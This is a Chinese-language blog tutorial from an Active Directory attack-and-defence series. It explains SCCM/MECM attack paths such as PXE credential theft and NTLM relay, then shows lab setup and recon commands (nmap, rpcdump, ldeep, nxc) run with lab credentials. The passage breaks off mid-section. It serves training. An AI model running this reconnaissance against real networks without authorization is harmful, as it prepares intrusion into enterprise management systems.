iT邦幫忙

2025 iThome 鐵人賽

DAY 28
1
Security

資安這條路:AD 攻防實戰演練系列 第 28

AD 攻防實戰演練 Day 28:企業管理的雙面刃 - Microsoft SCCM/MECM 環境安裝與情資偵查

  • 分享至 

  • xImage
  •  

image

前言

在前面的章節中,我們探討了 Active Directory 環境中的各種攻擊技術。今天,我們將把焦點轉移到企業環境中另一個關鍵的管理基礎設施:Microsoft System Center Configuration Manager (SCCM)。這個強大的系統管理工具,在提供便利的集中管理功能的同時,也成為了攻擊者眼中極具價值的目標。

從防禦者的角度來看,理解 SCCM 的攻擊面同樣重要。唯有深入了解潛在的威脅向量,才能建立有效的防禦機制,保護企業的核心管理基礎設施。

SCCM / MECM 簡介

什麼是 SCCM

System Center Configuration Manager,現已更名為 Microsoft Endpoint Configuration Manager (MECM) 或 Microsoft Configuration Manager (ConfigMgr),是微軟開發的企業級系統管理解決方案。它能夠協助系統管理員管理大型 Active Directory 環境中的伺服器和工作站。

SCCM 是一個選用的服務,並非所有組織都會部署。然而,對於大型企業而言,SCCM 提供的集中管理能力幾乎是不可或缺的。正因如此,一旦攻擊者掌控了 SCCM 基礎架構,就等同於獲得了對整個企業網路的廣泛控制權。

核心功能

SCCM 提供了多種管理功能:

功能類別 說明 安全風險等級
應用程式管理 遠端安裝與解除安裝應用程式
系統配置 設定網路與應用程式參數
更新管理 部署修補程式和安全更新
腳本執行 在多台機器上執行管理腳本 極高
作業系統部署 透過 PXE Boot 部署作業系統映像
資產盤點 收集硬體和軟體清單
合規性管理 確保系統符合企業政策

安全警示:這些強大功能也是攻擊者的主要目標。特別是腳本執行功能,一旦被濫用,可以在數分鐘內控制整個企業網路。

SCCM 架構

核心元件說明

Primary Server(主要伺服器)

  • 系統的核心節點,負責 SCCM 站點管理
  • 透過唯一的站點代碼(Site Code)識別
  • 協調整個 SCCM 基礎架構的運作
  • 安全重點:這台伺服器的機器帳戶通常是資料庫管理員

MSSQL Primary Database(主要資料庫)

  • 儲存所有 SCCM 站點相關資料
  • 包含使用者、機器資訊、應用程式、部署設定等
  • 可位於主要伺服器或專用伺服器上
  • 在企業環境中通常會分離部署以提升效能
  • 安全重點:控制資料庫等於控制整個 SCCM 環境

SMS Provider

  • 在 SCCM 服務與 MSSQL 資料庫間提供通訊介面
  • 透過 WMI 和 REST API(AdminService)提供管理功能
  • 傳遞配置資訊給客戶端
  • 接收客戶端回報的狀態資訊
  • 安全重點:API 端點可能成為未經授權存取的入口

Distribution Point(發布點)

  • 負責將應用程式、腳本和套件發布到客戶端機器
  • 確保內容的高效分發
  • 可能同時作為 PXE Boot 伺服器
  • 安全重點:PXE Boot 設定不當可能洩漏憑證

Management Point(管理點)

  • 協調客戶端機器與主要伺服器間的通訊
  • 傳遞各種配置資訊和政策
  • 接收客戶端的狀態報告
  • 安全重點:可能被利用來推送惡意政策

資料流向分析

  1. 管理流程

    • 管理員 → SMS Provider → MSSQL Database
    • 更新設定、建立部署、管理政策
  2. 內容分發流程

    • MSSQL Database → Primary Server → Distribution Point → Clients
    • 應用程式、腳本、更新套件
  3. 客戶端回報流程

    • Clients → Management Point → Primary Server → MSSQL Database
    • 狀態資訊、硬體清單、軟體清單

主要攻擊向量

攻擊者針對 SCCM 環境主要有以下幾種攻擊路徑:

攻擊向量總覽

攻擊起點
    │
    ├─► 1. PXE Boot 攻擊 (無需認證)
    │      │
    │      ├─► TFTP 取得 boot.var
    │      ├─► 提取 NAA 憑證
    │      └─► 取得網域加入帳戶
    │
    ├─► 2. 客戶端推送利用 (低權限)
    │      │
    │      ├─► 偽造 DDR 請求
    │      ├─► 捕獲推送帳戶認證
    │      └─► 本地管理員權限
    │
    ├─► 3. 憑證收集 (需管理員權限)
    │      │
    │      ├─► WMI 查詢政策
    │      ├─► 磁碟掃描敏感檔案
    │      └─► DPAPI 解密
    │
    ├─► 4. NTLM 中繼攻擊 (中等權限)
    │      │
    │      ├─► PrinterBug 觸發
    │      ├─► 中繼到 MSSQL/SMS Provider
    │      └─► 資料庫控制/API 存取
    │
    └─► 5. 站點接管後橫向移動 (完全控制)
           │
           ├─► 應用程式部署
           ├─► 腳本部署
           ├─► CMPivot 列舉
           └─► 全網控制

1. PXE Boot 攻擊

  • 攻擊難度:低
  • 所需權限:無(僅需網路存取)
  • 攻擊方式
    • 透過 TFTP 取得 PXE boot 變數檔案
    • 提取網路存取帳戶(NAA)憑證
    • 取得網域加入帳戶資訊
  • 影響範圍:可能取得網域使用者權限
  • 防禦方法
    • 為 PXE Boot 設定強式密碼
    • 使用 Enhanced HTTP 取代 NAA
    • 限制 TFTP 存取來源

2. 客戶端推送利用

  • 攻擊難度:中
  • 所需權限:低權限網域使用者
  • 攻擊方式
    • 偽造 DDR 請求觸發客戶端安裝
    • 捕獲客戶端推送帳戶的 NTLM 認證
    • 這些帳戶通常具有本地管理員權限
  • 影響範圍:橫向移動到其他系統
  • 防禦方法
    • 停用自動客戶端推送
    • 使用 Pull 模式而非 Push 模式
    • 限制推送帳戶權限

3. 憑證收集

  • 攻擊難度:中到高
  • 所需權限:本地管理員
  • 攻擊方式
    • 從 WMI 或磁碟提取 DPAPI 加密的憑證
    • 包括 NAA、工作序列變數、集合變數等
    • 需要管理員權限才能解密
  • 影響範圍:取得更多憑證進行橫向移動
  • 防禦方法
    • 定期輪換服務帳戶密碼
    • 監控異常的 WMI 查詢
    • 限制本地管理員權限

4. NTLM 中繼攻擊

  • 攻擊難度:中
  • 所需權限:能夠觸發認證的網路位置
  • 攻擊方式
    • 中繼主要伺服器的機器帳戶認證
    • 目標可以是資料庫伺服器、SMS Provider 或其他站點系統
    • 成功後可以修改資料庫或透過 API 新增管理員
  • 影響範圍:完全控制 SCCM 環境
  • 防禦方法
    • 啟用 SMB 簽章
    • 實施 LDAP 簽章和通道繫結
    • 啟用 EPA(Extended Protection for Authentication)

5. 站點接管後的橫向移動

  • 攻擊難度:低(一旦取得控制權)
  • 所需權限:SCCM Full Administrator
  • 攻擊方式
    • 透過應用程式部署執行任意程式碼
    • 使用腳本部署在多台機器上執行命令
    • 利用 CMPivot 列舉和管理資源
  • 影響範圍:整個企業網路
  • 防禦方法
    • 實施最小權限原則
    • 啟用部署核准流程
    • 監控異常的批次部署

實驗環境架構

環境說明

本次實驗使用 GOAD (Game of Active Directory) 的 SCCM 實驗環境,架構如下:

主機名稱 IP 位址 角色 關鍵服務
DC 192.168.52.10 網域控制站 AD DS, DNS
MECM 192.168.52.11 SCCM 主要伺服器 管理點、發布點、SMS Provider
MSSQL 192.168.52.12 資料庫伺服器 SQL Server 2022
CLIENT 192.168.52.20 SCCM 客戶端 SCCM Client Agent

網路設定

  • 網段:192.168.52.0/24
  • 網域:SCCM.lab
  • VMware 網路:VMnet4

靶機安裝指南

系統需求檢查

在開始安裝前,請確認:

硬體資源

  • 記憶體:至少 16GB RAM(建議 20GB 以上)
  • 處理器:4 核心 CPU(建議 6 核心以上)
  • 磁碟空間:100GB 可用空間
  • 虛擬化:已啟用 VT-x/AMD-V

軟體需求

  • VMware Workstation 或 VirtualBox
  • Python 3.8 以上版本
  • Ansible(GOAD 將自動安裝)
  • 穩定的網路連線

時間準備

  • 完整安裝需要 24-72 小時
  • 視硬體效能和網路速度而定
  • 建議在週末或非工作時間執行

安裝步驟

步驟 1:環境準備

進入 GOAD 專案目錄:

cd GOAD
python goad.py

image

如果之前有安裝其他 GOAD 環境,使用 unload 清除現有設定:

unload

image

步驟 2:網路設定

新增 VMware 網路介面卡:

  • 開啟 VMware 虛擬網路編輯器
  • 新增 VMnet4
  • 設定網段為 192.168.52.0
  • 子網路遮罩:255.255.255.0
  • 關閉 DHCP(GOAD 會自動設定)

image
image

步驟 3:配置 SCCM 實驗室

在 GOAD 互動式選單中執行以下命令:

set_lab SCCM
set_ip_range 192.168.52
install

確認安裝(輸入 y):

image

步驟 4:監控安裝進度

安裝過程會經歷以下階段:

  1. 下載虛擬機器映像(約 30 分鐘)
  2. 建立虛擬機器(約 1 小時)
  3. 設定網域控制站(約 2 小時)
  4. 安裝 SQL Server(約 3 小時)
  5. 安裝 SCCM(約 12-24 小時)
  6. 設定 SCCM 站點(約 6-12 小時)
  7. 部署客戶端(約 2 小時)

安裝可能會在某些階段看似「卡住」,這是正常現象,請耐心等待。

image

常見問題與解決

問題 可能原因 解決方案
安裝卡在 MECM 設定階段 記憶體不足 增加至少 20GB RAM
虛擬機器無法啟動 虛擬化未啟用 檢查 BIOS 設定中的 VT-x/AMD-V
網路連線失敗 VMnet4 設定錯誤 確認網路介面卡設定和防火牆規則
SQL Server 安裝失敗 磁碟空間不足 確保至少 50GB 可用空間
SCCM 安裝逾時 網路速度慢 使用有線網路,避免無線連線
安裝失敗後無法重試 殘留設定 使用 use [InstanID] 切換到失敗的實例

安裝失敗處理

如果安裝過程中斷或失敗:

  1. 檢查錯誤訊息:
# 查看 Ansible 日誌
tail -f /path/to/goad/logs/ansible.log
  1. 切換到失敗的實例:
use [InstanID]

image

  1. 重新嘗試安裝:
install

環境準備

在開始滲透測試之前,我們需要先設定本地的 hosts 檔案,以便正確解析內部網域名稱。

編輯 /etc/hosts 檔案:

sudo vim /etc/hosts

image

加入以下內容:

# SCCM Lab
192.168.52.10   dc.sccm.lab dc DC
192.168.52.11   mecm.sccm.lab mecm MECM
192.168.52.12   mssql.sccm.lab mssql MSSQL
192.168.52.20   client.sccm.lab client CLIENT

image

情資蒐集

偵察策略概述

在進行 SCCM 環境的滲透測試時,我們採用系統化的偵察流程:

偵察階段決策樹

開始偵察
    │
    ├─► TCP 端口掃描 ─► 識別 SCCM 核心服務
    │                    │
    │                    ├─► IIS (80/443) - AdminService API
    │                    ├─► SMB (445) - 共享和認證
    │                    ├─► MSSQL (1433) - 資料庫服務
    │                    ├─► 10123 - 客戶端通知
    │                    └─► WSUS (8530/8531) - 更新服務
    │
    ├─► UDP 端口掃描 ─► 發現 PXE Boot 環境
    │                    │
    │                    └─► TFTP (69) - PXE 攻擊可行性
    │
    ├─► SSL 憑證檢查 ─► 評估加密設定
    │                    │
    │                    └─► 自簽憑證、弱加密套件
    │
    ├─► RPC 協定列舉 ─► 識別可利用的服務
    │                    │
    │                    └─► MS-RPRN - PrinterBug 攻擊
    │
    ├─► LDAP 深入查詢 ─► 取得站點資訊
    │                    │
    │                    ├─► 站點代碼 (Site Code)
    │                    ├─► 管理點位置
    │                    └─► 發布點資訊
    │
    └─► SMB 共享列舉 ─► 評估檔案存取權限
                         │
                         ├─► signing:False - NTLM Relay
                         ├─► REMINST - PXE 檔案存取
                         └─► SCCMContentLib$ - 部署內容

TCP 端口掃描

為什麼掃描這些端口

在 SCCM 環境中,不同的端口代表不同的攻擊面:

端口 服務 功能 攻擊價值
80/443 IIS/AdminService 管理 API 高 - 可利用 API 新增管理員
445 SMB 檔案共享 極高 - NTLM Relay 主要目標
1433 MSSQL 資料庫 極高 - 資料庫控制等於完全控制
10123 客戶端通知 即時通訊 中 - 可能的 DoS 攻擊點
8530/8531 WSUS 更新服務 高 - 更新劫持攻擊

執行掃描

首先,我們使用 nmap 對目標網段進行 TCP 端口掃描,重點關注 SCCM 相關的服務端口:

nmap -p 80,443,445,1433,10123,8530,8531 -sV 192.168.52.11-12

參數說明:

  • -p 80,443,445,1433,10123,8530,8531:指定要掃描的端口
    • 80:HTTP(IIS Web 服務)
    • 443:HTTPS(IIS Web 服務加密連線)
    • 445:SMB(Server Message Block,檔案共享服務)
    • 1433:MSSQL Server(資料庫服務)
    • 10123:SCCM 客戶端通知端口
    • 8530:WSUS HTTP(Windows Update 服務)
    • 8531:WSUS HTTPS(Windows Update 服務加密連線)
  • -sV:版本偵測,嘗試識別服務版本資訊
  • 192.168.52.11-12:目標 IP 範圍

image

結果解讀技巧

觀察這些關鍵指標:

  1. SMB 簽章狀態 - signing:False 表示可進行 NTLM Relay
  2. MSSQL 開放狀態 - 如果在主伺服器上關閉,表示採用分離架構
  3. IIS 版本 - 可能存在已知漏洞
  4. 端口狀態變化 - closed vs filtered 顯示防火牆策略

掃描結果分析

192.168.52.11(SCCM 主要伺服器 - MECM):

PORT      STATE  SERVICE       VERSION
80/tcp    open   http          Microsoft IIS httpd 10.0
443/tcp   open   ssl/http      Microsoft IIS httpd 10.0
445/tcp   open   microsoft-ds?
1433/tcp  closed ms-sql-s
8530/tcp  open   http          Microsoft IIS httpd 10.0
8531/tcp  open   unknown
10123/tcp open   ssl/unknown

關鍵發現:

  • IIS 10.0 服務:執行在 80、443、8530 端口上,表明這是主要的管理點和 WSUS 伺服器
    • 端口 80/443:可能託管 AdminService REST API
    • 端口 8530/8531:WSUS 服務,可用於更新劫持攻擊
  • SMB 開放(445):可能可以進行 SMB 相關攻擊,如 NTLM 中繼
  • MSSQL 關閉(1433):資料庫位於另一台伺服器,符合企業級部署實踐
    • 這種分離架構為 NTLM 中繼攻擊提供了機會
    • 主要伺服器的機器帳戶可能是資料庫管理員
  • 端口 10123 開放:SCCM 客戶端通知服務,使用 SSL 加密
    • 用於即時推送政策和命令到客戶端
    • 可能成為 DoS 攻擊的目標
  • WSUS 服務(8530/8531):表明此伺服器同時作為更新伺服器
    • 可能被利用來推送惡意更新

192.168.52.12(資料庫伺服器 - MSSQL):

PORT      STATE  SERVICE       VERSION
80/tcp    closed http
443/tcp   closed https
445/tcp   open   microsoft-ds?
1433/tcp  open   ms-sql-s      Microsoft SQL Server 2022 16.00.1000

關鍵發現:

  • MSSQL Server 2022 開放(1433):這是 SCCM 站點資料庫伺服器
    • 版本資訊:SQL Server 2022 16.00.1000(相對較新)
    • 可能已修補大部分已知漏洞
  • SMB 開放(445):可能是 NTLM 中繼攻擊的目標
    • 如果主要伺服器的機器帳戶是 SQL 管理員,中繼攻擊將非常有效
  • 沒有 Web 服務:純粹的資料庫伺服器角色
    • 符合最小化攻擊面的原則
    • 但也表示無法透過 Web 介面直接存取

架構評估:

這個架構設定表明 SCCM 採用了分散式部署,主要伺服器和資料庫伺服器分離,符合企業級部署的最佳實踐。這種配置提供了更好的效能和可擴展性,但也為 NTLM 中繼攻擊提供了機會:

  1. 攻擊者視角

    • 主伺服器(MECM)的機器帳戶通常是資料庫伺服器的管理員
    • 可以透過 PrinterBug 或類似技術強制 MECM 認證
    • 中繼認證到 MSSQL 伺服器取得資料庫控制
  2. 防禦者視角

    • 應該在資料庫伺服器上啟用 SMB 簽章
    • 限制資料庫管理員權限
    • 實施網路分段,限制管理流量

UDP 端口掃描(PXE 服務偵測)

PXE Boot 環境評估

PXE (Preboot Execution Environment) 是 SCCM 用於作業系統部署的關鍵功能。了解 PXE 環境的設定對於評估攻擊可行性至關重要。

接下來,我們針對 PXE Boot 相關的 UDP 端口進行掃描:

nmap -p 67,68,69,4011,547 -sU 192.168.52.11

參數說明:

  • -p 67,68,69,4011,547:指定 UDP 端口
    • 67:DHCP 伺服器端口
    • 68:DHCP 客戶端端口
    • 69:TFTP(Trivial File Transfer Protocol)
    • 4011:PXE Boot Server 端口
    • 547:DHCPv6 伺服器端口
  • -sU:UDP 掃描模式
  • 192.168.52.11:目標 IP

image

掃描結果分析

PORT     STATE         SERVICE
67/udp   open|filtered dhcps
68/udp   closed        dhcpc
69/udp   open          tftp
547/udp  closed        dhcpv6-server
4011/udp open|filtered altserviceboot

關鍵發現:

  1. TFTP 服務開放(69):這是 PXE Boot 攻擊的關鍵端口
    • 功能:用於傳輸 PXE 開機檔案
    • 安全風險
      • 可以下載 boot.var 檔案
      • 可能包含 PXE Boot 密碼雜湊
      • 可能洩漏網路存取帳戶(NAA)憑證
    • 攻擊可行性:高
    • 防禦建議
      • 為 PXE Boot 設定強式密碼
      • 限制 TFTP 存取來源 IP
      • 監控異常的 TFTP 請求
  2. DHCP 服務(67)和 PXE Boot(4011):狀態為 open|filtered
    • 意義
      • 可能有防火牆規則限制存取
      • 或服務僅回應特定的請求封包
      • UDP 掃描的固有限制(無法確定確切狀態)
    • 進一步測試
      • 需要發送符合 DHCP/PXE 協定的請求封包
      • 使用專門的 PXE 工具進行測試
  3. DHCPv6 關閉(547):環境僅使用 IPv4
    • 攻擊影響:無法利用 DHCPv6 相關攻擊
    • 環境特徵:傳統網路設定

PXE Boot 攻擊鏈評估:

PXE Boot 攻擊流程

1. TFTP 連線 (UDP 69) ✓
   │
   ├─► 請求 boot.sdi
   ├─► 請求 boot.bcd
   └─► 請求 boot.var (關鍵目標)
   
2. 檔案分析
   │
   └─► 提取 boot.var 內容
       │
       ├─► NAA 憑證 (DPAPI 加密)
       ├─► 工作序列變數
       └─► 網域加入帳戶

3. 憑證解密
   │
   ├─► 如果有 PXE 密碼:需要破解
   └─► 如果無密碼:直接解密 ✓

4. 憑證利用
   │
   ├─► 網域存取
   ├─► 橫向移動
   └─► 進一步攻擊

這個設定確認了目標環境啟用了 PXE Boot 功能,這是進行 PXE Boot 攻擊的先決條件。TFTP 服務的開放狀態表明我們可以嘗試下載 PXE 相關檔案,這將是後續攻擊的重要步驟。

SSL 憑證檢查

憑證安全性評估

SSL/TLS 憑證的設定可以揭示許多安全資訊,包括加密強度、憑證有效性和潛在的設定問題。

使用 OpenSSL 檢查 SCCM 客戶端通知服務的憑證資訊:

openssl s_client -connect 192.168.52.11:10123

參數說明:

  • s_client:OpenSSL 的 SSL/TLS 客戶端工具
  • -connect 192.168.52.11:10123:連接到指定的主機和端口

image
image

憑證分析結果

Certificate chain
 0 s:CN=MECM, CN=SMS
   i:CN=MECM, CN=SMS
   a:PKEY: RSA, 2048 (bit); sigalg: sha256WithRSAEncryption
   v:NotBefore: Oct 10 09:27:26 2025 GMT; NotAfter: Apr  8 09:27:26 2026 GMT

Verification error: self-signed certificate
Verification error: unsuitable certificate purpose

關鍵資訊:

  1. 自簽憑證(Self-Signed Certificate)
    • 特徵:Subject 和 Issuer 相同(CN=MECM, CN=SMS)
    • 驗證錯誤verify error:num=18:self-signed certificate
    • 安全影響
      • 這是 SCCM 的預設設定
      • 無法驗證憑證的真實性
      • 容易受到中間人攻擊
    • 最佳實踐
      • 應該使用企業 CA 簽發的憑證
      • 或使用公開信任的憑證授權單位
  2. 憑證用途問題
    • 錯誤verify error:num=26:unsuitable certificate purpose
    • 意義
      • 憑證可能未正確設定用於客戶端驗證
      • Key Usage 或 Extended Key Usage 擴充可能不正確
    • 潛在風險
      • 憑證驗證機制可能被繞過
      • 客戶端可能接受不適當的憑證
  3. 加密資訊
    • 協定:TLSv1.2
      • 相對安全的協定版本
      • 建議的最低版本(TLSv1.3 更佳)
    • 加密套件:ECDHE-RSA-AES256-GCM-SHA384
      • ECDHE:橢圓曲線 Diffie-Hellman 金鑰交換(支援完美前向保密)
      • RSA:用於認證
      • AES256-GCM:強式對稱加密
      • SHA384:安全的雜湊演算法
    • 金鑰長度:RSA 2048 位元
      • 符合目前的安全標準
      • 建議考慮升級到 3072 或 4096 位元
    • 簽章演算法:sha256WithRSAEncryption
      • 安全的簽章演算法
      • SHA-1 已被棄用
  4. 有效期限
    • 開始:2025-10-10
    • 到期:2026-04-08
    • 有效期:約 6 個月
    • 評估
      • 相對較短的有效期(良好的安全實踐)
      • 需要定期更新憑證
      • 建議設定自動化更新流程
  5. 客戶端憑證要求
    • 狀態:No client certificate CA names sent
    • 意義
      • 伺服器不要求客戶端憑證
      • 可能允許未經授權的客戶端連線
    • 安全建議
      • 實施雙向 TLS(Mutual TLS)
      • 要求客戶端提供有效憑證

安全性評估總結:

項目 狀態 風險等級 建議
自簽憑證 使用中 使用企業 CA 簽發的憑證
憑證用途 不正確 修正 Key Usage 設定
TLS 版本 TLSv1.2 考慮強制使用 TLSv1.3
加密套件 AES256-GCM 安全的加密套件
金鑰長度 2048 位元 符合標準,可考慮升級
客戶端認證 未要求 實施雙向 TLS

從攻擊者角度

  • 自簽憑證和缺乏客戶端認證降低了攻擊難度
  • 但 TLSv1.2 和強式加密套件增加了被動監聽的難度
  • 需要主動中間人攻擊才能攔截通訊

從防禦者角度

  • 應該升級到使用正確設定的企業 CA 憑證
  • 實施客戶端憑證要求
  • 強制使用 TLSv1.3
  • 定期審查和更新憑證

RPC 協定列舉

RPC 攻擊面評估

遠端程序呼叫(RPC)協定提供了多種管理功能,但也可能成為攻擊的入口點。透過列舉可用的 RPC 協定,我們可以識別潛在的攻擊向量。

使用 Impacket 的 rpcdump 工具列舉可用的 RPC 協定:

rpcdump.py 192.168.52.11 | grep Protocol | grep -v 'N/A'

參數說明:

  • rpcdump.py:Impacket 套件中的 RPC 端點映射工具
  • 192.168.52.11:目標 IP
  • grep Protocol:過濾出協定資訊
  • grep -v 'N/A':排除無效或不適用的項目

image

列舉結果分析

Protocol: [MS-RSP]: Remote Shutdown Protocol
Protocol: [MS-EVEN6]: EventLog Remoting Protocol
Protocol: [MS-TSCH]: Task Scheduler Service Remoting Protocol
Protocol: [MS-SAMR]: Security Account Manager (SAM) Remote Protocol
Protocol: [MS-RAA]: Remote Authorization API Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-PAN]: Print System Asynchronous Notification Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-SCMR]: Service Control Manager Remote Protocol
Protocol: [MS-WDSC]: Windows Deployment Services Control Protocol
Protocol: [MS-FASP]: Firewall and Advanced Security Protocol
Protocol: [MS-CMPO]: MSDTC Connection Manager

關鍵協定與攻擊面分析:

1. [MS-RPRN]:列印系統遠端協定

  • 功能:管理列印服務和列印佇列
  • 攻擊價值:極高
  • 利用方式
    • PrinterBug / SpoolSample 攻擊
    • 強制目標進行 NTLM 身份驗證
    • 配合 NTLM 中繼攻擊使用
  • 攻擊流程
    1. 呼叫 RpcRemoteFindFirstPrinterChangeNotificationEx
    2. 指定攻擊者控制的 UNC 路徑
    3. 目標伺服器向攻擊者發起 NTLM 認證
    4. 攻擊者中繼認證到其他服務
    
  • 防禦措施
    • 停用不必要的列印服務
    • 啟用 SMB 簽章
    • 限制列印服務的網路存取

2. [MS-TSCH]:工作排程器服務遠端協定

  • 功能:建立和管理計劃任務
  • 攻擊價值:高
  • 利用方式
    • 建立計劃任務執行惡意程式碼
    • 需要適當的權限(通常是管理員)
  • 防禦措施
    • 限制遠端任務建立權限
    • 監控異常的任務建立活動
    • 稽核任務排程器事件日誌

3. [MS-SAMR]:安全帳戶管理員遠端協定

  • 功能:列舉和管理使用者帳戶
  • 攻擊價值:中到高
  • 利用方式
    • 列舉網域使用者和群組
    • 取得帳戶資訊(SID、群組成員等)
    • 密碼噴灑攻擊的目標選擇
  • 防禦措施
    • 限制匿名列舉(RestrictAnonymous 設定)
    • 監控大量的 SAM 查詢
    • 實施帳戶列舉防護

4. [MS-SCMR]:服務控制管理員遠端協定

  • 功能:管理 Windows 服務
  • 攻擊價值:高
  • 利用方式
    • 建立惡意服務
    • 修改現有服務執行惡意程式碼
    • 需要管理員權限
  • 防禦措施
    • 限制遠端服務管理權限
    • 監控服務建立和修改
    • 稽核服務控制管理員事件

5. [MS-WDSC]:Windows 部署服務控制協定

  • 功能:管理 Windows 部署服務(WDS)
  • 攻擊價值:高(SCCM 特定)
  • 利用方式
    • 與 SCCM 的 OSD(作業系統部署)功能相關
    • 可能成為攻擊的切入點
    • 可以操縱映像部署流程
  • 防禦措施
    • 限制 WDS 管理權限
    • 加強映像完整性驗證
    • 監控部署活動

6. [MS-EVEN6]:事件日誌遠端協定

  • 功能:讀取和管理事件日誌
  • 攻擊價值:中
  • 利用方式
    • 偵察和資訊收集
    • 了解系統活動和安全事件
    • 識別防禦機制
    • 清除惡意活動的痕跡(如果有足夠權限)
  • 防禦措施
    • 限制遠端事件日誌存取
    • 啟用事件日誌保護
    • 實施集中式日誌收集

7. [MS-RSP]:遠端關機協定

  • 功能:遠端關閉或重啟系統
  • 攻擊價值:中(DoS 攻擊)
  • 利用方式
    • 拒絕服務攻擊
    • 中斷正常業務運作
  • 防禦措施
    • 限制遠端關機權限
    • 監控關機事件

攻擊向量優先級排序:

協定 攻擊難度 影響範圍 優先級 典型利用場景
MS-RPRN 極高 NTLM 中繼攻擊
MS-WDSC SCCM OSD 操縱
MS-SCMR 惡意服務植入
MS-TSCH 持久化機制
MS-SAMR 帳戶列舉
MS-EVEN6 偵察和清除痕跡
MS-RSP DoS 攻擊

綜合評估:

從攻擊者的角度,[MS-RPRN] 協定的存在是最有價值的發現。結合之前發現的 SMB 簽章未啟用,這為 NTLM 中繼攻擊提供了完整的攻擊鏈。

在 SCCM 環境中,這特別危險:

  1. 使用 PrinterBug 強制 MECM 伺服器認證
  2. 中繼認證到 MSSQL 伺服器
  3. 利用 MECM 機器帳戶的資料庫管理員權限
  4. 修改 SCCM 資料庫或使用 AdminService API
  5. 新增 SCCM Full Administrator 帳戶
  6. 完全控制 SCCM 環境

LDAP 深入列舉

LDAP 查詢策略

Active Directory 透過 LDAP 儲存了大量的 SCCM 設定資訊。透過 LDAP 查詢,我們可以取得站點拓撲、伺服器角色和其他關鍵資訊。

工具安裝

在進行 LDAP 列舉之前,需要先安裝必要的工具:

安裝編譯相依套件:

sudo apt-get install -y libkrb5-dev krb5-config gcc python3-dev

image

安裝 ldeep 工具:

python -m pip install ldeep

image

SCCM 站點資訊列舉

使用 ldeep 列舉 SCCM 相關資訊:

ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.52.10 sccm

參數說明:

  • -u carol:使用者名稱
  • -p SCCMftw:密碼
  • -d SCCM.lab:網域名稱
  • -s ldap://192.168.52.10:LDAP 伺服器位址
  • sccm:ldeep 的 SCCM 列舉模組

image

列舉結果:

Primary/Secondary Site: MECM.sccm.lab
Management point: MECM.sccm.lab
  Default MP: True
  Site code: P01
Potential distribution point: CN=MECM,CN=Computers,DC=sccm,DC=lab

結果分析:

  1. 站點代碼(Site Code):P01

    • 這是 SCCM 站點的唯一識別碼
    • 後續攻擊中需要使用這個站點代碼
    • 用於識別站點特定的資源和設定
  2. 主要站點伺服器:MECM.sccm.lab

    • 確認了 SCCM 主要伺服器的位置
    • 單一主要站點架構(沒有階層)
  3. 管理點:MECM.sccm.lab

    • 預設管理點位於主要伺服器上
    • 這是客戶端通訊的主要端點
    • 所有客戶端政策和狀態報告都透過這個管理點
  4. 發布點:MECM

    • 潛在的發布點也在同一台伺服器上
    • 這是典型的小型 SCCM 部署
    • 所有角色集中在一台伺服器(除了資料庫)

管理點詳細資訊查詢

進一步查詢管理點的詳細資訊:

ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.52.10 search "(objectclass=mssmsmanagementpoint)" dnshostname,msSMSSiteCode

參數說明:

  • search:執行自訂 LDAP 查詢
  • "(objectclass=mssmsmanagementpoint)":搜尋 SCCM 管理點物件
  • dnshostname,msSMSSiteCode:指定要回傳的屬性

image

查詢結果:

[{
  "dNSHostName": "MECM.sccm.lab",
  "dn": "CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab",
  "mSSMSSiteCode": "P01"
}]

結果分析:

  1. 完整的 DN 路徑

    CN=SMS-MP-P01-MECM.SCCM.LAB,
    CN=System Management,
    CN=System,
    DC=sccm,DC=lab
    
    • 位於 Active Directory 的 System Management 容器中
    • 命名慣例:SMS-MP-{SiteCode}-{Hostname}
    • 這個路徑在後續攻擊中可能有用
  2. DNS 主機名稱:MECM.sccm.lab

    • 確認管理點的 FQDN
    • 用於客戶端連線
  3. 站點代碼確認:P01

    • 再次確認站點代碼
    • 確保我們針對正確的站點

其他有用的 LDAP 查詢

列舉所有 SCCM 系統角色:

ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.52.10 search "(objectclass=mssmsserverlocatorpoint)" dnshostname,msSMSSiteCode

列舉 SCCM 客戶端:

ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.52.10 search "(&(objectclass=computer)(msSMS-DeviceManagementPoint=*))" name,dnshostname

列舉 SCCM 邊界:

ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.52.10 search "(objectclass=mssmsrouterserverlocatorpoint)" *

從攻擊者角度的價值:

這些 LDAP 查詢提供的資訊可以用於:

  1. 繪製 SCCM 環境拓撲圖
  2. 識別攻擊目標(管理點、發布點)
  3. 了解站點架構(單一站點還是階層式)
  4. 為後續攻擊規劃路徑

從防禦者角度的考量:

  1. 存取控制

    • Carol 是低權限使用者,卻能查詢 SCCM 資訊
    • 考慮限制 System Management 容器的讀取權限
    • 實施 LDAP 查詢監控
  2. 最小權限原則

    • 評估哪些使用者真的需要讀取 SCCM 設定
    • 移除不必要的權限
  3. 監控和警報

    • 監控大量的 LDAP 查詢
    • 特別是針對 SCCM 相關物件的查詢
    • 設定警報機制

SMB 共享列舉

SMB 共享安全評估

SMB 共享通常包含敏感資訊和部署內容。評估共享的存取權限和內容對於理解攻擊面至關重要。

使用 NetExec (nxc) 列舉 SMB 共享:

nxc smb 192.168.52.11 -u carol -p SCCMftw -d SCCM.lab --shares

參數說明:

  • smb:SMB 協定模組
  • 192.168.52.11:目標 IP
  • -u carol:使用者名稱
  • -p SCCMftw:密碼
  • -d SCCM.lab:網域名稱
  • --shares:列舉共享資源

image

列舉結果分析

SMB         192.168.52.11   445    MECM             [*] Windows 10 / Server 2019 Build 17763 x64 (name:MECM) (domain:sccm.lab) (signing:False) (SMBv1:False)
SMB         192.168.52.11   445    MECM             [+] SCCM.lab\carol:SCCMftw

系統資訊:

  • 作業系統:Windows Server 2019 Build 17763
  • 架構:x64
  • SMB 簽章:False(關鍵安全問題)
  • SMBv1:False(良好的安全設定)

SMB 簽章狀態分析:

signing:False 是最關鍵的發現,這意味著:

  1. NTLM 中繼攻擊可行
    • 可以攔截和中繼 NTLM 認證
    • 不會被偵測到認證被竄改
  2. 中間人攻擊風險
